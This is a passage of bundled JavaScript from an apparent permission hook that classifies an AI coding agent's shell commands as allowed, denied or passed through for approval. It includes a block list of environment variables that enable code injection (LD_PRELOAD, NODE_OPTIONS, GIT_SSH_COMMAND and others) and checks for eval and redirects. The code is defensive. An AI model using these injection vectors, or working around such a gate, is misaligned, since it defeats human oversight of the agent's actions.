BST_AGENT_ONLY_SAFE_SUBCOMMANDS)\n },\n {\n name: \"oxlint\",\n match: /^oxlint$/,\n action: \"allow\"\n },\n {\n name: \"oxfmt\",\n match: /^oxfmt$/,\n action: \"allow\"\n },\n {\n name: \"eslint\",\n match: /^eslint$/,\n action: \"allow\"\n },\n {\n name: \"prettier\",\n match: /^prettier$/,\n action: \"allow\"\n },\n {\n name: \"biome\",\n match: /^biome$/,\n action: \"allow\"\n },\n {\n name: \"knip\",\n match: /^knip$/,\n action: \"allow\"\n },\n {\n name: \"cat\",\n match: /^cat$/,\n action: \"allow\"\n },\n {\n name: \"head\",\n match: /^head$/,\n action: \"allow\"\n },\n {\n name: \"tail\",\n match: /^tail$/,\n action: \"allow\"\n },\n {\n name: \"grep\",\n match: /^grep$/,\n action: \"allow\"\n },\n {\n name: \"ls\",\n match: /^ls$/,\n action: \"allow\"\n },\n {\n name: \"wc\",\n match: /^wc$/,\n action: \"allow\"\n },\n {\n name: \"uniq\",\n match: /^uniq$/,\n action: \"allow\"\n },\n {\n name: \"diff\",\n match: /^diff$/,\n action: \"allow\"\n },\n {\n name: \"echo\",\n match: /^echo$/,\n action: \"allow\"\n },\n {\n name: \"pwd\",\n match: /^pwd$/,\n action: \"allow\"\n },\n {\n name: \"which\",\n match: /^which$/,\n action: \"allow\"\n },\n {\n name: \"dirname\",\n match: /^dirname$/,\n action: \"allow\"\n },\n {\n name: \"basename\",\n match: /^basename$/,\n action: \"allow\"\n },\n {\n name: \"realpath\",\n match: /^realpath$/,\n action: \"allow\"\n },\n {\n name: \"npm\",\n match: /^npm$/,\n action: \"allow\",\n when: (tokens) => isNpmReadOp(tokens)\n },\n {\n name: \"test\",\n match: /^test$/,\n action: \"allow\"\n },\n {\n name: \"bracket-test\",\n match: /^\\[$/,\n action: \"allow\"\n },\n {\n name: \"cd\",\n match: /^cd$/,\n action: \"allow\"\n },\n {\n name: \"true\",\n match: /^true$/,\n action: \"allow\"\n },\n {\n name: \"colon\",\n match: /^:$/,\n action: \"allow\"\n },\n {\n name: \"find\",\n match: /^find$/,\n action: \"allow\",\n when: (tokens) => isFindSafe(tokens)\n },\n {\n name: \"sort\",\n match: /^sort$/,\n action: \"allow\",\n when: (tokens) => isSortSafe(tokens)\n },\n {\n name: \"git\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens) => isGitReadOp(tokens)\n },\n {\n name: \"git-read-only-form\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens) => isGitReadOnlyForm(tokens)\n },\n {\n name: \"git-safe-write\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitSafeWriteOp(tokens, ctx),\n advise: (tokens, ctx) => isGitBranchCreation(tokens) && isPrimaryWorktree(ctx.cwd) ? WORKTREE_ADVICE : void 0\n },\n {\n name: \"git-feature-branch-write\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitFeatureBranchWrite(tokens, ctx)\n },\n {\n name: \"git-safe-push\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitSafePush(tokens, ctx)\n },\n {\n name: \"pnpm\",\n match: /^pnpm$/,\n action: \"allow\",\n when: (tokens) => isPnpmSafe(tokens)\n },\n {\n name: \"cp\",\n match: /^cp$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"mkdir\",\n match: /^mkdir$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"touch\",\n match: /^touch$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"mv-docs\",\n match: /^mv$/,\n action: \"allow\",\n when: (tokens, ctx) => isMvDocsSafe(tokens, ctx)\n },\n {\n name: \"sed-docs\",\n match: /^sed$/,\n action: \"allow\",\n when: (tokens, ctx) => isSedDocsSafe(tokens, ctx)\n }\n];\n\n//#endregion\n//#region src/lib/workspace-root.ts\n/**\n* Walk up from `cwd` to the directory holding `pnpm-workspace.yaml`.\n*\n* Its own module rather than a `script-resolver.ts` export because\n* `settings.ts` needs it and `script-resolver.ts` needs `settings.ts`,\n* which is a cycle the health gate reports.\n*/\nfunction findWorkspaceRoot(cwd) {\n let dir = resolve(cwd);\n while (true) {\n if (existsSync(join(dir, \"pnpm-workspace.yaml\"))) return dir;\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n//#endregion\n//#region src/lib/settings.ts\nconst SETTINGS_PATH = \".claude/hooks/bst-hook.settings.json\";\nconst BstHookSettingsSchema = object({\n allow: array(string().min(1)).default([]),\n protectedBranches: array(string().min(1)).default([])\n});\n/**\n* Check whether a file at `relativePath` inside `cwd` is tracked and\n* unmodified in git (no staged or unstaged changes vs HEAD).\n*\n* Returns false on any error -- safe default is to not trust the file.\n*/\nfunction isFileClean(cwd, relativePath) {\n try {\n execFileSync(\"git\", [\n \"ls-files\",\n \"--error-unmatch\",\n relativePath\n ], {\n cwd,\n stdio: \"ignore\"\n });\n execFileSync(\"git\", [\n \"diff\",\n \"--quiet\",\n \"HEAD\",\n \"--\",\n relativePath\n ], {\n cwd,\n stdio: \"ignore\"\n });\n return true;\n } catch {\n return false;\n }\n}\n/**\n* Load repo-level settings from `.claude/hooks/bst-hook.settings.json`.\n*\n* Walks up from `cwd` to find the workspace root (or uses `cwd` directly),\n* reads the settings file, validates it, and checks that the file is\n* git-tracked and unmodified before trusting it.\n*\n* Returns `{ allow: [], protectedBranches: [] }` if the file is missing,\n* invalid, or untrusted.\n*/\nfunction loadRepoSettings(cwd) {\n const root = findWorkspaceRoot(cwd) ?? cwd;\n const settingsFile = join(root, SETTINGS_PATH);\n const empty = {\n allow: [],\n protectedBranches: []\n };\n if (!existsSync(settingsFile)) return empty;\n if (!isFileClean(root, SETTINGS_PATH)) return empty;\n try {\n const raw = readFileSync(settingsFile, \"utf-8\");\n const parsed = JSON.parse(raw);\n const result = BstHookSettingsSchema.safeParse(parsed);\n if (!result.success) return empty;\n return {\n allow: result.data.allow,\n protectedBranches: result.data.protectedBranches\n };\n } catch {\n return empty;\n }\n}\n/**\n* Check whether a command matches a repo-level allow pattern.\n*\n* Pattern format: `\"<command> [arg1] [arg2] ...\"`\n* - First token is matched exactly against the command basename\n* - Remaining tokens (if any) must match positionally as prefixes of the actual arguments\n*\n* Examples:\n* - `\"tooling\"` matches `tooling repo:sync --yes`\n* - `\"node packages/foo/dist/bin.mjs\"` matches `node packages/foo/dist/bin.mjs run`\n* - `\"node packages/foo/dist/bin.mjs\"` does NOT match `node packages/bar/dist/bin.mjs`\n*/\nfunction matchesRepoPattern(cmdName, tokens, pattern) {\n const parts = pattern.split(/\\s+/).filter(Boolean);\n if (parts.length === 0) return false;\n if (parts[0] !== cmdName) return false;\n const patternArgs = parts.slice(1);\n const actualArgs = tokens.slice(1);\n for (let i = 0; i < patternArgs.length; i++) {\n if (i >= actualArgs.length) return false;\n if (actualArgs[i] !== patternArgs[i]) return false;\n }\n return true;\n}\n\n//#endregion\n//#region src/lib/script-resolver.ts\nconst PackageJsonSchema = object({ scripts: record(string(), unknown()) });\n/**\n* Resolve a pnpm script name to its actual command(s) by reading package.json.\n*\n* Returns null if the script cannot be resolved (missing package.json,\n* missing script name, parse error).\n*/\nfunction resolveScript(scriptName, cwd) {\n const scripts = readScripts(cwd);\n if (!scripts) return null;\n const main = scripts[scriptName];\n if (typeof main !== \"string\") return null;\n const pre = scripts[`pre${scriptName}`];\n const post = scripts[`post${scriptName}`];\n return {\n pre: typeof pre === \"string\" ? pre : null,\n main,\n post: typeof post === \"string\" ? post : null\n };\n}\n/**\n* Resolve a script in a specific workspace package identified by --filter.\n*\n* Reads pnpm-workspace.yaml, scans workspace directories to match filterPkg\n* against package.json#name fields, then resolves the script in that package's directory.\n*\n* Returns null if the package or script cannot be resolved.\n*/\nfunction resolveFilteredScript(scriptName, filterPkg, cwd) {\n const pkgDir = findWorkspacePackageDir(filterPkg, cwd);\n if (!pkgDir) return null;\n const script = resolveScript(scriptName, pkgDir);\n if (!script) return null;\n return {\n ...script,\n pkgDir\n };\n}\n/**\n* Resolve a script name across all workspace packages (for `pnpm -r <script>`).\n*\n* Returns an array of resolved scripts (one per workspace package that defines the script),\n* each with a `pkgDir` field. Returns null if workspace patterns can't be read.\n* Packages that don't define the script are silently skipped.\n*/\nfunction resolveRecursiveScripts(scriptName, rootDir) {\n const pkgDirs = listWorkspacePackageDirs(rootDir);\n if (!pkgDirs) return null;\n const results = [];\n for (const pkgDir of pkgDirs) {\n const resolved = resolveScript(scriptName, pkgDir);\n if (resolved) results.push({\n ...resolved,\n pkgDir\n });\n }\n return results;\n}\n/**\n* List all workspace package directories.\n*/\nfunction listWorkspacePackageDirs(rootDir) {\n const patterns = readWorkspacePatterns(rootDir);\n if (!patterns) return null;\n const dirs = [];\n for (const pattern of patterns) {\n if (!pattern.endsWith(\"/*\")) continue;\n const parentDir = resolve(rootDir, pattern.slice(0, -2));\n let entries;\n try {\n entries = readdirSync(parentDir);\n } catch {\n continue;\n }\n for (const entry of entries) {\n const entryDir = join(parentDir, entry);\n try {\n if (!statSync(entryDir).isDirectory()) continue;\n } catch {\n continue;\n }\n dirs.push(entryDir);\n }\n }\n return dirs.length > 0 ? dirs : null;\n}\n/**\n* Find the directory of a workspace package by name.\n* Reads pnpm-workspace.yaml for glob patterns, then scans matching directories.\n*/\nfunction findWorkspacePackageDir(pkgName, rootDir) {\n const pkgDirs = listWorkspacePackageDirs(rootDir);\n if (!pkgDirs) return null;\n for (const entryDir of pkgDirs) {\n const name = readPackageName(entryDir);\n if (name === pkgName || name === `@${pkgName}`) return entryDir;\n if (entryDir.split(\"/\").pop() === pkgName) return entryDir;\n if (name) {\n if ((name.startsWith(\"@\") ? name.split(\"/\")[1] : name) === pkgName) return entryDir;\n }\n }\n return null;\n}\n/**\n* Read workspace glob patterns from pnpm-workspace.yaml.\n*/\nfunction readWorkspacePatterns(rootDir) {\n try {\n const lines = readFileSync(join(rootDir, \"pnpm-workspace.yaml\"), \"utf-8\").split(\"\\n\");\n const packagesIdx = lines.findIndex((l) => /^packages\\s*:/.test(l));\n if (packagesIdx === -1) return null;\n const patterns = [];\n for (let i = packagesIdx + 1; i < lines.length; i++) {\n const line = lines[i];\n const match = /^\\s+-\\s+(.+)$/.exec(line);\n if (!match) break;\n patterns.push(match[1].trim().replace(/['\"`]/g, \"\"));\n }\n return patterns.length > 0 ? patterns : null;\n } catch {\n return null;\n }\n}\nconst PackageNameSchema = object({ name: string() });\n/**\n* Read the name field from package.json in the given directory.\n*/\nfunction readPackageName(dir) {\n try {\n const raw = readFileSync(join(dir, \"package.json\"), \"utf-8\");\n const result = PackageNameSchema.safeParse(JSON.parse(raw));\n if (!result.success) return null;\n return result.data.name;\n } catch {\n return null;\n }\n}\n/**\n* Read the scripts field from package.json in the given directory.\n* Returns null on any failure (missing file, parse error, no scripts field).\n*/\nfunction readScripts(cwd) {\n try {\n const raw = readFileSync(join(cwd, \"package.json\"), \"utf-8\");\n const result = PackageJsonSchema.safeParse(JSON.parse(raw));\n if (!result.success) return null;\n return result.data.scripts;\n } catch {\n return null;\n }\n}\n/**\n* Check whether the package.json in the given directory is clean in git\n* (no staged or unstaged changes compared to HEAD).\n*\n* Returns true only when the file is tracked and unmodified. Returns false\n* on any error (not a git repo, untracked file, no HEAD, etc.) -- safe default\n* is to not trust the scripts.\n*/\nfunction isPackageJsonClean(pkgDir) {\n return isFileClean(pkgDir, \"package.json\");\n}\n\n//#endregion\n//#region src/evaluate.ts\nconst MAX_EVAL_DEPTH = 5;\n/** Environment variables that enable code injection */\nconst DANGEROUS_ENV_VARS = /* @__PURE__ */ new Set([\n \"LD_PRELOAD\",\n \"LD_LIBRARY_PATH\",\n \"DYLD_INSERT_LIBRARIES\",\n \"NODE_OPTIONS\",\n \"PYTHONPATH\",\n \"PYTHONSTARTUP\",\n \"PERL5OPT\",\n \"PERL5LIB\",\n \"RUBYOPT\",\n \"RUBYLIB\",\n \"BASH_ENV\",\n \"ENV\",\n \"npm_config_prefix\",\n \"npm_config_registry\",\n \"EDITOR\",\n \"VISUAL\"\n]);\n/** Git config env vars use prefix matching */\nconst DANGEROUS_GIT_ENV_PREFIXES = [\n \"GIT_CONFIG_\",\n \"GIT_PAGER\",\n \"GIT_SSH_COMMAND\",\n \"GIT_EDITOR\",\n \"GIT_EXEC_PATH\"\n];\nfunction isDangerousEnvVar(name) {\n if (DANGEROUS_ENV_VARS.has(name)) return true;\n return DANGEROUS_GIT_ENV_PREFIXES.some((prefix) => name.startsWith(prefix));\n}\n/**\n* Extract the target directory from a `cd <dir>` segment.\n* Returns the resolved absolute path, or null if the segment isn't a simple `cd`.\n*/\nfunction extractCdDir(segment, ctx) {\n const tokenResult = tokenize(segment);\n if (!tokenResult.ok || tokenResult.tokens.length !== 2) return null;\n const tokens = tokenResult.tokens;\n if (tokens[0] !== \"cd\") return null;\n const dir = tokens[1];\n if (path.isAbsolute(dir)) return dir;\n return path.resolve(ctx.cwd, dir);\n}\n/**\n* Evaluate a full command string. Splits on operators and evaluates each segment.\n*\n* This is the single reentrant entry point. Called at depth 0 for top-level\n* commands and at depth 1+ for derived commands (resolved scripts, exec tails, etc.).\n*/\nfunction evaluateCommand(command, ctx) {\n if (ctx.depth >= MAX_EVAL_DEPTH) return {\n action: \"passthrough\",\n rule: null,\n reason: \"max evaluation depth exceeded\"\n };\n const trimmed = command.trim();\n if (!trimmed) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"subshell\"\n };\n const segments = splitCommand(trimmed);\n if (segments.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n let firstPassthrough = null;\n let lastAllow = null;\n const currentCtx = { ...ctx };\n for (const segment of segments) {\n if (segment.operator === \"&&\") {\n const cdDir = extractCdDir(segment.command, currentCtx);\n if (cdDir) currentCtx.cwd = cdDir;\n }\n const result = evaluateSegment(segment.command, currentCtx);\n if (result.action === \"deny\") return result;\n if (result.action === \"passthrough\") {\n if (!firstPassthrough) firstPassthrough = result;\n }\n if (result.action === \"allow\") lastAllow = result;\n }\n if (firstPassthrough) return firstPassthrough;\n if (segments.length === 1 && lastAllow) return lastAllow;\n return {\n action: \"allow\",\n rule: \"all-segments\",\n reason: null\n };\n}\n/**\n* Helper to evaluate a resolved script with its pre and post hooks.\n*\n* When the source package.json is clean in git, sets `insideResolvedScript`\n* on the context so downstream evaluation trusts file redirects and\n* unmatched commands (user-authored scripts). Deny rules still apply.\n*/\nfunction evaluateResolvedScript(resolved, ctx) {\n const pkgDir = resolved.pkgDir ?? ctx.cwd;\n const innerCtx = ctx.insideResolvedScript ?? isPackageJsonClean(pkgDir) ? {\n ...ctx,\n insideResolvedScript: true\n } : ctx;\n if (resolved.pre) {\n const preResult = evaluateCommand(resolved.pre, innerCtx);\n if (preResult.action !== \"allow\") return preResult;\n }\n const mainResult = evaluateCommand(resolved.main, innerCtx);\n if (mainResult.action !== \"allow\") return mainResult;\n if (resolved.post) {\n const postResult = evaluateCommand(resolved.post, innerCtx);\n if (postResult.action !== \"allow\") return postResult;\n }\n return \"allow\";\n}\n/**\n* Evaluate a single command segment (no operators).\n* May recurse into evaluateCommand() for indirection constructs.\n*/\nfunction evaluateSegment(rawSegment, ctx) {\n const trimmed = rawSegment.trim();\n if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"subshell\"\n };\n const tokenResult = tokenize(rawSegment);\n if (!tokenResult.ok) return {\n action: \"passthrough\",\n rule: null,\n reason: tokenResult.error\n };\n let tokens = tokenResult.tokens;\n if (tokens.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n let envSkipped = 0;\n while (envSkipped < tokens.length && /^\\w+=/.test(tokens[envSkipped])) {\n const varName = tokens[envSkipped].split(\"=\")[0];\n if (isDangerousEnvVar(varName)) return {\n action: \"passthrough\",\n rule: null,\n reason: `dangerous env var: ${varName}`\n };\n envSkipped++;\n }\n if (envSkipped >= tokens.length) return {\n action: \"allow\",\n rule: \"env-only\",\n reason: null\n };\n tokens = tokens.slice(envSkipped);\n if (writesIntoNodeModules(tokens, ctx)) return {\n action: \"deny\",\n rule: \"node-modules-write\",\n reason: NODE_MODULES_WRITE_REASON\n };\n const injection = checkInjection(tokens, rawSegment, ctx.insideResolvedScript);\n if (!injection.safe) return {\n action: \"passthrough\",\n rule: null,\n reason: injection.reason\n };\n if (!ctx.insideResolvedScript) for (let i = 0; i < tokens.length; i++) {\n const token = tokens[i];\n if (token === \"2>&1\" || token === \"2>/dev/null\" || token === \">/dev/null\" || token === \"1>/dev/null\") continue;\n if (token === \">\" || token === \">>\") {\n if (tokens[i + 1] === \"/dev/null\") continue;\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"output redirect to file\"\n };\n }\n if (token === \"<\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"input redirect\"\n };\n }\n const SAFE_REDIRECT_TOKENS = /* @__PURE__ */ new Set([\n \"2>&1\",\n \"2>/dev/null\",\n \">/dev/null\",\n \"1>/dev/null\"\n ]);\n tokens = tokens.filter((t, i) => {\n if (SAFE_REDIRECT_TOKENS.has(t)) return false;\n if ((t === \">\" || t === \">>\") && tokens[i + 1] === \"/dev/null\") return false;\n if (t === \"/dev/null\" && i > 0 && (tokens[i - 1] === \">\" || tokens[i - 1] === \">>\")) return false;\n return true;\n });\n const cmdName = path.basename(tokens[0]);\n if (cmdName === \"command\" && tokens.length > 1) return evaluateCommand(joinTokens(tokens.slice(1)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n if (cmdName === \"env\") {\n let envIdx = 1;\n while (envIdx < tokens.length && /^\\w+=/.test(tokens[envIdx])) {\n const varName = tokens[envIdx].split(\"=\")[0];\n if (isDangerousEnvVar(varName)) return {\n action: \"passthrough\",\n rule: null,\n reason: `dangerous env var: ${varName}`\n };\n envIdx++;\n }\n if (envIdx >= tokens.length) return {\n action: \"allow\",\n rule: \"env-only\",\n reason: null\n };\n return evaluateCommand(joinTokens(tokens.slice(envIdx)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n if (cmdName === \"pnpm\") return evaluatePnpm(tokens, ctx);\n if (cmdName === \"npm\") return evaluateNpm(tokens);\n if (cmdName === \"bash\" || cmdName === \"sh\" || cmdName === \"zsh\") return evaluateShellC(tokens, ctx);\n if (cmdName === \"xargs\") return evaluateXargs(tokens, ctx);\n if (cmdName === \"node\" && (tokens.includes(\"-e\") || tokens.includes(\"-p\") || tokens.includes(\"--eval\") || tokens.includes(\"--print\"))) return {\n action: \"passthrough\",\n rule: null,\n reason: \"node eval\"\n };\n for (const rule of denyRules) if (rule.match.test(cmdName)) {\n if (!rule.when || rule.when(tokens, ctx)) return {\n action: \"deny\",\n rule: rule.name,\n reason: rule.reason ?? null\n };\n }\n for (const rule of allowRules) if (rule.match.test(cmdName)) {\n if (!rule.when || rule.when(tokens, ctx)) {\n const advice = rule.advise?.(tokens, ctx);\n return {\n action: \"allow\",\n rule: rule.name,\n reason: null,\n ...advice ? { advice } : {}\n };\n }\n }\n if (ctx.repoAllowPatterns) {\n for (const pattern of ctx.repoAllowPatterns) if (matchesRepoPattern(cmdName, tokens, pattern)) return {\n action: \"allow\",\n rule: `repo:${cmdName}`,\n reason: null\n };\n }\n if (ctx.insideResolvedScript) return {\n action: \"allow\",\n rule: \"resolved-script\",\n reason: null\n };\n return {\n action: \"passthrough\",\n rule: null,\n reason: `no rule matched: ${cmdName}`\n };\n}\n/**\n* Scan pnpm subTokens starting at `from`, skipping and accumulating flags\n* (--filter / -F, -r, -w, -C, and generic --flags). Returns the first non-flag\n* token as `name`, or `undefined` if none found. Returns `\"filter\"` as a\n* sentinel when --filter is encountered (caller must handle).\n*/\nfunction scanPnpmFlags(subTokens, from, state) {\n for (let i = from; i < subTokens.length; i++) {\n const t = subTokens[i];\n if (t === \"--filter\" || t.startsWith(\"--filter=\") || t === \"-F\" || t.startsWith(\"-F=\")) return {\n name: void 0,\n filterIdx: i\n };\n if (t === \"-r\" || t === \"--recursive\") {\n state.isRecursive = true;\n continue;\n }\n if (t === \"-w\" || t === \"--workspace-root\") {\n state.isWorkspaceRoot = true;\n continue;\n }\n if (t === \"-C\" || t === \"--dir\") {\n state.dirOverride = subTokens[++i];\n continue;\n }\n if (t.startsWith(\"-C=\") || t.startsWith(\"--dir=\")) {\n state.dirOverride = t.split(\"=\", 2)[1];\n continue;\n }\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n return { name: t };\n }\n return { name: void 0 };\n}\n/**\n* Evaluate a pnpm command. Classifies the subcommand as built-in, exec, or script.\n* Script commands are resolved via package.json and recursively evaluated.\n*/\nfunction evaluatePnpm(tokens, ctx) {\n const subTokens = tokens.slice(1);\n const state = {\n isRecursive: false,\n isWorkspaceRoot: false,\n dirOverride: void 0\n };\n const scan = scanPnpmFlags(subTokens, 0, state);\n if (scan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, scan.filterIdx, ctx);\n const subcommand = scan.name;\n const subcommandIdx = subcommand ? subTokens.indexOf(subcommand) : -1;\n if (!subcommand) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n if (subcommand === \"dlx\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm dlx\"\n };\n if (subcommand === \"add\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm add\"\n };\n if (subcommand === \"exec\") {\n const execArgs = subTokens.slice(subcommandIdx + 1);\n if (execArgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"bare pnpm exec\"\n };\n return evaluateCommand(joinTokens(execArgs), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n let scriptName;\n let { isRecursive, isWorkspaceRoot, dirOverride } = state;\n if (subcommand === \"run\") {\n const runScan = scanPnpmFlags(subTokens, subcommandIdx + 1, state);\n ({isRecursive, isWorkspaceRoot, dirOverride} = state);\n if (runScan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, runScan.filterIdx, ctx);\n if (!runScan.name) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm run without script name\"\n };\n scriptName = runScan.name;\n } else if (!PNPM_BUILTINS.has(subcommand)) scriptName = subcommand;\n else {\n for (const rule of allowRules) if (rule.match.test(\"pnpm\")) {\n if (!rule.when || rule.when(tokens, ctx)) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n }\n return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n }\n if (isRecursive) return evaluatePnpmRecursive(scriptName, ctx);\n if (isWorkspaceRoot) {\n const root = findWorkspaceRoot(ctx.cwd);\n if (!root) return {\n action: \"passthrough\",\n rule: null,\n reason: \"workspace root not found\"\n };\n return evaluatePnpmScript(scriptName, {\n ...ctx,\n cwd: root\n });\n }\n if (dirOverride) {\n const resolved = path.resolve(ctx.cwd, dirOverride);\n return evaluatePnpmScript(scriptName, {\n ...ctx,\n cwd: resolved\n });\n }\n return evaluatePnpmScript(scriptName, ctx);\n}\n/**\n* Resolve a pnpm script name via package.json and recursively evaluate\n* the resolved command(s) including pre/post scripts.\n*/\nfunction evaluatePnpmScript(scriptName, ctx) {\n const resolved = resolveScript(scriptName, ctx.cwd);\n if (!resolved) return {\n action: \"passthrough\",\n rule: null,\n reason: \"script resolution failed\"\n };\n const res = evaluateResolvedScript(resolved, {\n ...ctx,\n depth: ctx.depth + 1\n });\n if (res !== \"allow\") return res;\n return {\n action: \"allow\",\n rule: `pnpm-script:${scriptName}`,\n reason: null\n };\n}\n/**\n* Evaluate `pnpm -r <script>` by resolving the script in each workspace package.\n*\n* Unlike `evaluatePnpmScript` (which resolves from the root package.json and would\n* cycle back to `pnpm -r <script>`), this resolves against each workspace package's\n* own package.json, breaking the recursion.\n*/\nfunction evaluatePnpmRecursive(scriptName, ctx) {\n const resolved = resolveRecursiveScripts(scriptName, ctx.cwd);\n if (!resolved || resolved.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm recursive\"\n };\n for (const pkg of resolved) {\n const res = evaluateResolvedScript(pkg, {\n ...ctx,\n depth: ctx.depth + 1,\n cwd: pkg.pkgDir ?? ctx.cwd\n });\n if (res !== \"allow\") return res;\n }\n return {\n action: \"allow\",\n rule: `pnpm-recursive:${scriptName}`,\n reason: null\n };\n}\n/**\n* Evaluate an npm command. Read-only ops (view/info/show) are allowed.\n* Everything else is denied with a redirect message to the pnpm equivalent.\n*/\nfunction evaluateNpm(tokens) {\n for (const rule of allowRules) if (rule.match.test(\"npm\")) {\n if (!rule.when || rule.when(tokens, {\n cwd: \"\",\n depth: 0\n })) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n }\n return {\n action: \"deny\",\n rule: \"npm-redirect\",\n reason: getNpmRedirectReason(tokens)\n };\n}\n/**\n* Evaluate `pnpm --filter <pkg> [--filter <pkg> ...] <subcommand>`.\n*\n* Collects every `--filter` / `-F` flag (long, equals, and shorthand forms),\n* resolves each against pnpm-workspace.yaml, then classifies the subcommand as\n* built-in or script. Script commands are resolved and evaluated in each\n* filtered package -- all must allow.\n*\n* Falls back to passthrough if workspace resolution fails.\n*/\nfunction evaluatePnpmFilter(_tokens, subTokens, filterIdx, ctx) {\n const filterPkgs = [];\n let cursor = filterIdx;\n while (cursor < subTokens.length) {\n const t = subTokens[cursor];\n if (t === \"--filter\" || t === \"-F\") {\n const pkg = subTokens[cursor + 1];\n if (!pkg || pkg.startsWith(\"-\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n filterPkgs.push(pkg);\n cursor += 2;\n } else if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) {\n const pkg = t.startsWith(\"-F=\") ? t.slice(3) : t.slice(9);\n if (!pkg) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n filterPkgs.push(pkg);\n cursor += 1;\n } else break;\n }\n if (filterPkgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n let filterSubcommand;\n let subcmdIdx = -1;\n for (let i = cursor; i < subTokens.length; i++) {\n const t = subTokens[i];\n if (t === \"--filter\" || t === \"-F\") {\n i += 1;\n continue;\n }\n if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) continue;\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n filterSubcommand = t;\n subcmdIdx = i;\n break;\n }\n if (!filterSubcommand) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without subcommand\"\n };\n if (filterSubcommand === \"install\" || filterSubcommand === \"i\") {\n if (!subTokens.slice(subcmdIdx + 1).every((t) => t.startsWith(\"-\"))) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter install with package arg\"\n };\n return {\n action: \"allow\",\n rule: \"pnpm\",\n reason: null\n };\n }\n if (filterSubcommand === \"dlx\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm dlx\"\n };\n if (filterSubcommand === \"add\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm add\"\n };\n if ((/* @__PURE__ */ new Set([\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\",\n \"licenses\",\n \"audit\"\n ])).has(filterSubcommand)) return {\n action: \"allow\",\n rule: \"pnpm\",\n reason: null\n };\n if (filterSubcommand === \"exec\") {\n const execArgs = subTokens.slice(subcmdIdx + 1);\n if (execArgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"bare pnpm exec\"\n };\n return evaluateCommand(joinTokens(execArgs), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n const scriptName = filterSubcommand === \"run\" ? subTokens[subcmdIdx + 1] : filterSubcommand;\n if (!scriptName || scriptName.startsWith(\"-\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter run without script name\"\n };\n if (PNPM_BUILTINS.has(scriptName) && scriptName !== \"run\") return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n for (const pkg of filterPkgs) {\n const resolved = resolveFilteredScript(scriptName, pkg, ctx.cwd);\n if (!resolved) return {\n action: \"passthrough\",\n rule: null,\n reason: \"filtered script resolution failed\"\n };\n const res = evaluateResolvedScript(resolved, {\n ...ctx,\n depth: ctx.depth + 1,\n cwd: resolved.pkgDir ?? ctx.cwd\n });\n if (res !== \"allow\") return res;\n }\n return {\n action: \"allow\",\n rule: `pnpm-filter:${filterPkgs.join(\",\")}:${scriptName}`,\n reason: null\n };\n}\n/** Flags that modify shell behavior beyond simple command execution */\nconst SHELL_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-i\",\n \"--interactive\",\n \"-l\",\n \"--login\",\n \"--init-file\",\n \"--rcfile\",\n \"--norc\",\n \"--noprofile\",\n \"-s\",\n \"--stdin\"\n]);\n/**\n* Evaluate `bash -c` / `sh -c` / `zsh -c` commands.\n*\n* Only unwraps when the tokens are exactly: `<shell> -c <command-string>`.\n* Any additional flags, extra positional args, or missing -c -> passthrough.\n*/\nfunction evaluateShellC(tokens, ctx) {\n const cIdx = tokens.indexOf(\"-c\");\n if (cIdx === -1) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell without -c\"\n };\n for (let i = 1; i < tokens.length; i++) {\n if (i === cIdx) continue;\n if (i === cIdx + 1) continue;\n const t = tokens[i];\n if (t.startsWith(\"-\") || 